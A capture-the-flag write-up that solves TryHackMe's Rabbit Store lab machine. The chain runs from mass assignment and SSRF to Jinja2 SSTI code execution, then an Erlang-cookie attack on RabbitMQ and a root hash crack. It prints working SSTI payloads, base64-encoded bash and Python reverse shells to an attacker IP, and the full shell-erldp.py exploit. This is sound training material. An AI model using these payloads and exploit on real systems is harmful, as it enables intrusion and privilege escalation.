Deconstructing SSRF+SSTI vulns to gain RCE in a Message Broker environment
Conquering TryHackMe's: Rabbit_store

Description:
Rabbit Store is medium level machine from tryhackme to test your basic web testing skills and Linux basics. it can be conquered if u have understanding of SSRF and SSTI vulnerabilities to achieve RCE gain access to shell.
Therefore, retrieving Erlang cookie to enumerate RabbitMQ instance and discover the password for the root user, ultimately completing the challenge.
Basic definitions:
SSRF(Server-Side Request Forgery): is a critical web security vulnerability where an attackers tricks a server into making unintended request to internal or external systems, bypassing security controls to access sensitive data, services or execute commands.
for more info refer to: https://portswigger.net/web-security/ssrf
SSTI(Server side template injection): Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
For more info refer to: https://portswigger.net/web-security/server-side-template-injection
RabiitMQ: RabbitMQ is an open source message broker(message queue system) that enables applications, services and systems to communicate with each other by sending and receiving messages.
For more info refer to: www.rabbitmq.com/docs
Connecting to TryHackMe via Openvpn:
if you are a free user just like me its better to connect your system or VM to TryHackMe machine via openvpn than trying to solve in limited time of Attackbox.
Go to your tryhackme website vpn settings and download your .ovpn configuration file.
After this run:
sudo openvpn file.ovpn
Check connection status it should be connected by pinging the machine IP.
After this you can start the Rabbit Store machine. wait for few minutes and IP to be revealed.
First step: Nmap scan
As always we can scan the machine IP from nmap:
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.74.18
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3f:da:55:0b:b3:a9:3b:09:5f:b1:db:53:5e:0b:ef:e2 (ECDSA)
|_ 256 b7:d3:2e:a7:08:91:66:6b:30:d2:0c:f7:90:cf:9a:f4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://cloudsite.thm/
|_http-server-header: Apache/2.4.52 (Ubuntu)
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
|_ rabbit: 25672
25672/tcp open unknown
There are 4 open ports 22, 80, 4369 and 25672. First is ssh, second is http port redirecting to http://cloudsite.thm/ third is epmd and last is a port of the RabbitMQ broker.
put the IP and site in your /etc/hosts file.
sudo nano /etc/hosts
Now in browser visit this site:

Then click on login/signup button. you will be redirected to storage.cloudsite.thm, add that to your host file too.

When u create an account you will notice:

We can’t use the services because we don’t have a subscription. In the URL you see /dashboard/inactive, if you try to access /dashboard/active, you will see this page.

Finding api endpoints using Gobuster :
we will get:
$ gobuster dir -u http://storage.cloudsite.thm/api/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
===============================================================
/login (Status: 405) [Size: 36]
/register (Status: 405) [Size: 36]
/uploads (Status: 401) [Size: 32]
/docs (Status: 403) [Size: 27]
/Login (Status: 405) [Size: 36]
===============================================================
Here, we can see additional /docs and /uploads api endpoints. Looking into them we find:
$ curl -s 'http://storage.cloudsite.thm/api/uploads'
{"message":"Token not provided"}
$ curl -s -H 'Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imp4ZkBqeGYuY29tIiwic3Vic2NyaXB0aW9uIjoiaW5hY3RpdmUiLCJpYXQiOjE3NDAyMTA2MjEsImV4cCI6MTc0MDIxNDIyMX0.PWbB_b0xgWAO7HXo-oQ2sItj1PuxI27hZ5qGVrE2U0A' 'http://storage.cloudsite.thm/api/uploads'
{"message":"Your subscription is inactive. You cannot use our services."}
$ curl -s 'http://storage.cloudsite.thm/api/docs'
{"message":"Access denied"}
$ curl -s -H 'Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imp4ZkBqeGYuY29tIiwic3Vic2NyaXB0aW9uIjoiaW5hY3RpdmUiLCJpYXQiOjE3NDAyMTA2MjEsImV4cCI6MTc0MDIxNDIyMX0.PWbB_b0xgWAO7HXo-oQ2sItj1PuxI27hZ5qGVrE2U0A' 'http://storage.cloudsite.thm/api/docs'
{"message":"Access denied"}
The /api/uploads endpoint appears to be functioning as intended, returning a “Token not provided” message if no token is supplied and a “Your subscription is inactive.” message if we provide a token for an inactive account. However, /api/docs always returns “Access denied”, regardless of whether we provide a token or not.
Getting active account
Using Burp, we can see that our registration and login requests are sent to the /api/register and /api/login endpoints, respectively. Also, the response from the /api/login endpoint includes a JWT cookie.
We can check what is saved in your cookie by putting it in inspector. The data saved in the cookie includes the subscription type, currently it is set to inactive:
Note : U can also use JWT.IO to analyze cookie.
To obtain an activated account, we can try for a mass assignment vulnerability in the registration functionality by including the subscription field set to active alongside the email and password fields during registration with the payload:
Note: We need to create new account and intercept using Burp.

after logging back in we see the response has been changed.

SSRF exploitation
Visiting http://storage.cloudsite.thm/dashboard/active, we see two methods for uploading files and a list of uploaded files.

Inspecting the source code of the dashboard, we notice an interesting script included from /assets/js/custom_script_active.js. Reviewing this script at http://storage.cloudsite.thm/assets/js/custom_script_active.js, we find that it handles most of the functionality displayed on the page.
From the script, we identify two additional endpoints:
/api/upload: Allows file uploads via aPOSTrequest./api/store-url: Accepts a URL in aJSONpayload to upload a file.
To test this functionality of the /api/store-url endpoint, we serve a simple text file using Python:
$ echo 'test' > test.txt
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
We then submit the URL for this text file to the application. In the URL uploader.

After submitting the URL, we can observe a request being made to our server:
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.74.18 - - [23/Feb/2025 05:28:18] "GET /test.txt HTTP/1.1" 200 -
This confirms our SSRF vulnerability.
Now, remember how we didn’t had access to /api/doc, when we try to force the server to make a request to http://storage.cloudsite.thm/api/docs, we received the same old “Access denied” message as before.

Now, if we were to leverage SSRF, putting request in uploader: by putting http://127.0.0.1:80/docs we try to access the /api/docs endpoint locally on port 80:

Note :in http://127.0.0.1:80/docs 127.0.0.1 is IP and 80 means its a http request.
But it doesn’t work as expected. It seems port 80 is not API endpoint.
But now we can attempt to access the API endpoint directly by requesting http://127.0.0.1:3000/api/docs. (We use port 3000 as it is the default port for Express, which we know the API server runs on, as indicated by the X-Powered-By: Express header.)
CAUTION: I am using port 3000 directly here as its I already knew about it. better would be to run a python script to find services on other ports on localhost. To do this, we simply check whether the requested service gives us a download link. To save time u can ask any AI like Chatgpt or Gemini to generate a script for u.
We make a request for http://127.0.0.1:3000/api/docs:

And we receive the documentation with the endpoint /api/fetch_messeges_from_chatbot, which is still under development.
RCE via SSTI
Testing the newly discovered /api/fetch_messeges_from_chatbot endpoint by making a POST request with an empty JSON payload using burp, we receive the message “username parameter is required”.
We simply test for SSTI and it gets evaluated:

We use a payload from Ingo Kleiber to test for RCE on Flask (Jinja2) SSTI and are successful.
Shell as user “azrael”
Since we have RCE through SSTI, we prepare a reverse shell using revshells.com.

Next, we prepare our SSTI payload, set up a listener on our desired port and submit the request.
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjkwLjIzNS80NDQ1IDA+JjE=|base64 -d|bash').read()}}

We get a connection back, and are the user azrael. We will upgrade our shell.

The user flag can be found in the home directory of azrael.

Shell as RabbitMQ
On enumerating the target we also use pspy. It is a command line tool designed to snoop on processes without need for root permissions.
GitHub - DominicBreuker/pspy: Monitor linux processes without root permissionsGitHub
We download and execute the tool.

And there is something going on using Erlang and RabbitMQ. We recall the Nmap scan with the results on 4369 Erlang Port Mapper Daemon, 25672 RabbitMQ.

A look into the /etc/passwd file confirms, that there is the user rabbitmq.
If we check the /var/lib/rabbitmq/ directory we can find an .erlang cookie.
azrael@forge:/var/lib/rabbitmq$ ls -la
total 896
drwxr-xr-x 5 rabbitmq rabbitmq 4096 Sep 12 00:32 .
drwxr-xr-x 45 root root 4096 Sep 20 19:11 ..
drwxr-x--- 3 rabbitmq rabbitmq 4096 Aug 15 2024 config
-r-----r-- 1 rabbitmq rabbitmq 16 Feb 23 11:11 .erlang.cookie
-rw-r----- 1 rabbitmq rabbitmq 889381 Feb 23 11:11 erl_crash.dump
drwxr-x--- 4 rabbitmq rabbitmq 4096 Feb 23 11:11 mnesia
-rw-r----- 1 rabbitmq rabbitmq 0 Sep 12 00:33 nc
drwxr-x--- 2 rabbitmq rabbitmq 4096 Jul 18 2024 schema
You can see that the .erlang.cookie is readable to us, which might allow us to get RCE as an user and can escalate our privileges.
Now we can use erl-matter repository contains several exploits regarding Erlang with RabbitMQ. One of which would allow us RCE: shell-erldp.py.
#shell-erldp.py
#!/usr/bin/env python2
from struct import pack, unpack
from cStringIO import StringIO
from socket import socket, AF_INET, SOCK_STREAM, SHUT_RDWR
from hashlib import md5
from binascii import hexlify, unhexlify
from random import choice
from string import ascii_uppercase
import sys
import argparse
import erlang as erl
def rand_id(n=6):
return ''.join([choice(ascii_uppercase) for c in range(n)]) + '@nowhere'
parser = argparse.ArgumentParser(description='Execute shell command through Erlang distribution protocol')
parser.add_argument('target', action='store', type=str, help='Erlang node address or FQDN')
parser.add_argument('port', action='store', type=int, help='Erlang node TCP port')
parser.add_argument('cookie', action='store', type=str, help='Erlang cookie')
parser.add_argument('--verbose', action='store_true', help='Output decode Erlang binary term format received')
parser.add_argument('--challenge', type=int, default=0, help='Set client challenge value')
parser.add_argument('cmd', default=None, nargs='?', action='store', type=str, help='Shell command to execute, defaults to interactive shell')
args = parser.parse_args()
name = rand_id()
sock = socket(AF_INET, SOCK_STREAM, 0)
assert(sock)
sock.connect((args.target, args.port))
def send_name(name):
FLAGS = (
0x7499c +
0x01000600 # HANDSHAKE_23|BIT_BINARIES|EXPORT_PTR_TAG
)
return pack('!HcQIH', 15 + len(name), 'N', FLAGS, 0xdeadbeef, len(name)) + name
sock.sendall(send_name(name))
data = sock.recv(5)
assert(data == '\x00\x03\x73\x6f\x6b')
data = sock.recv(4096)
(length, tag, flags, challenge, creation, nlen) = unpack('!HcQIIH', data[:21])
assert(tag == 'N')
assert(nlen + 19 == length)
challenge = '%u' % challenge
def send_challenge_reply(cookie, challenge):
m = md5()
m.update(cookie)
m.update(challenge)
response = m.digest()
return pack('!HcI', len(response)+5, 'r', args.challenge) + response
sock.sendall(send_challenge_reply(args.cookie, challenge))
data = sock.recv(3)
if len(data) == 0:
print('wrong cookie, auth unsuccessful')
sys.exit(1)
else:
assert(data == '\x00\x11\x61')
digest = sock.recv(16)
assert(len(digest) == 16)
print('[*] authenticated onto victim')
# Protocol between connected nodes is based on pre 5.7.2 format
def erl_dist_recv(f):
hdr = f.recv(4)
if len(hdr) != 4: return
(length,) = unpack('!I', hdr)
data = f.recv(length)
if len(data) != length: return
# Remove 0x70 from the head of the stream
data = data[1:]
print("Received data to parse: %s" % data) # Logging the raw data
while data:
try:
(parsed, term) = erl.binary_to_term(data)
if parsed <= 0:
print('Failed to parse Erlang term, raw data: %s' % data)
break
except erl.ParseException as e:
print('ParseException occurred: %s. Data: %s' % (str(e), data))
break
print("Parsed term: %s" % str(term)) # Log parsed term for debugging
yield term
data = data[parsed:]
def encode_string(name, type=0x64):
return pack('!BH', type, len(name)) + name
def send_cmd_old(name, cmd):
data = (unhexlify('70836804610667') +
encode_string(name) +
unhexlify('0000000300000000006400006400037265') +
unhexlify('7883680267') +
encode_string(name) +
unhexlify('0000000300000000006805') +
encode_string('call') +
encode_string('os') +
encode_string('cmd') +
unhexlify('6c00000001') +
encode_string(cmd, 0x6b) +
unhexlify('6a') +
encode_string('user'))
return pack('!I', len(data)) + data
def send_cmd(name, cmd):
# REG_SEND control message
ctrl_msg = (6,
erl.OtpErlangPid(erl.OtpErlangAtom(name), '\x00\x00\x00\x03', '\x00\x00\x00\x00', '\x00'),
erl.OtpErlangAtom(''),
erl.OtpErlangAtom('rex'))
msg = (
erl.OtpErlangPid(erl.OtpErlangAtom(name), '\x00\x00\x00\x03', '\x00\x00\x00\x00', '\x00'),
(
erl.OtpErlangAtom('call'),
erl.OtpErlangAtom('os'),
erl.OtpErlangAtom('cmd'),
[cmd],
erl.OtpErlangAtom('user')
))
new_data = '\x70' + erl.term_to_binary(ctrl_msg) + erl.term_to_binary(msg)
print("Sending command data: %s" % new_data) # Log the command being sent
return pack('!I', len(new_data)) + new_data
def recv_reply(f):
terms = [t for t in erl_dist_recv(f)]
if args.verbose:
print('\nReceived terms: %r' % (terms))
if len(terms) < 2:
print("Error: Unexpected number of terms received")
return None
answer = terms[1]
if len(answer) != 2:
print("Error: Unexpected structure in answer")
return None
return answer[1]
if not args.cmd:
while True:
try:
cmd = raw_input('%s:%d $ ' % (args.target, args.port))
except EOFError:
print('')
break
sock.sendall(send_cmd(name, cmd))
reply = recv_reply(sock)
if reply:
sys.stdout.write(reply)
else:
print("Failed to receive a valid reply")
else:
sock.sendall(send_cmd(name, args.cmd))
reply = recv_reply(sock)
if reply:
sys.stdout.write(reply)
else:
print("Failed to receive a valid reply")
print('[*] disconnecting from victim')
sock.close()
Running this program:
$ python2 shell-erldp.py 10.10.227.32 25672 HIDDENCOOKIE
[*] authenticated onto victim
10.10.227.32:25672 $ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.78.229",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Next, we prepare a reverse shell payload using revshells.com.

We set up a listener and issue the command to get a reverse shell.
python2 shell-erldp2.py rabbitstore.thm 25672 REDACTED 'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjkwLjIzNS80NDQ2IDA+JjE= | base64 -d | bash'
We will now get a shell as RabbitMQ.
$ nc -lvnp 4446
listening on [any] 4446 ...
connect to [10.14.90.235] from (UNKNOWN) [10.10.227.32] 52932
$ whoami
whoami
rabbitmq
Shell as root
Since we are now the rabbitmq user, we could issue RabbitMQ commands with rabbitmqctl. One of the ideas could be to retrieve the users and passwords to check if they are reused. But we get an error. The .erlang.cookie is not only owned by the owner itself. With that issue we are not able to execute rabbitmqctl commands.

Nevertheless, we can view the rabbit_user.DCD. This file is part of the RabbitMQ database. There is a message indicating that the root user's password is the same as the SHA-256 hash of the RabbitMQ root user's password.

With this you can add an user and give it administrator privileges:
rabbitmq@forge:~$ rabbitmqctl add_user abc 123
Adding user "abc" ...
rabbitmq@forge:~$ rabbitmqctl set_user_tags abc administrator
Setting tags for user "abc" to [administrator] ...
You can now use the internal API of the RabbitMQ management server on port 15672 to get some information.
rabbitmq@forge:~$ curl -u "imposter:123" localhost:port http://localhost:15672/api/users
curl: (3) URL using bad/illegal format or missing URL
[{"name":"The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.","password_hash":"vyf4qvKLpShONYgEiNc6xT/5rLq+23A2RuuhEZ8N10kyN34K","hashing_algorithm":"rabbit_password_hashing_sha256","tags":[],"limits":{}},{"name":"abc","password_hash":"y+k4c/x1Oi/ftAaMPZ3tUAUldbnhpCpOJcb/1EOYe+j4M1Zp","hashing_algorithm":"rabbit_password_hashing_sha256","tags":["administrator"],"limits":{}},{"name":"root","password_hash":"THISISNOTTHEREALHASH","hashing_algorithm":"rabbit_password_hashing_sha256","tags":["administrator"],"limits":{}}]
This is the user list in a more readable format, the list includes the password in a base64 hashed format.
[
{
"name": "The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.",
"password_hash": "vyf4qvKLpShONYgEiNc6xT/5rLq+23A2RuuhEZ8N10kyN34K",
"hashing_algorithm": "rabbit_password_hashing_sha256",
"tags": [],
"limits": {}
},
{
"name": "abc",
"password_hash": "y+k4c/x1Oi/ftAaMPZ3tUAUldbnhpCpOJcb/1EOYe+j4M1Zp",
"hashing_algorithm": "rabbit_password_hashing_sha256",
"tags": [
"administrator"
],
"limits": {}
},
{
"name": "root",
"password_hash": "THISISNOTTHEREALHASH",
"hashing_algorithm": "rabbit_password_hashing_sha256",
"tags": [
"administrator"
],
"limits": {}
}
]
We can then crack this hash using a python script or the bash script i found here on Github
echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist
Now we can use the output to log into root. ... and use the a to switch user to root and find the final flag in the root's home directory.





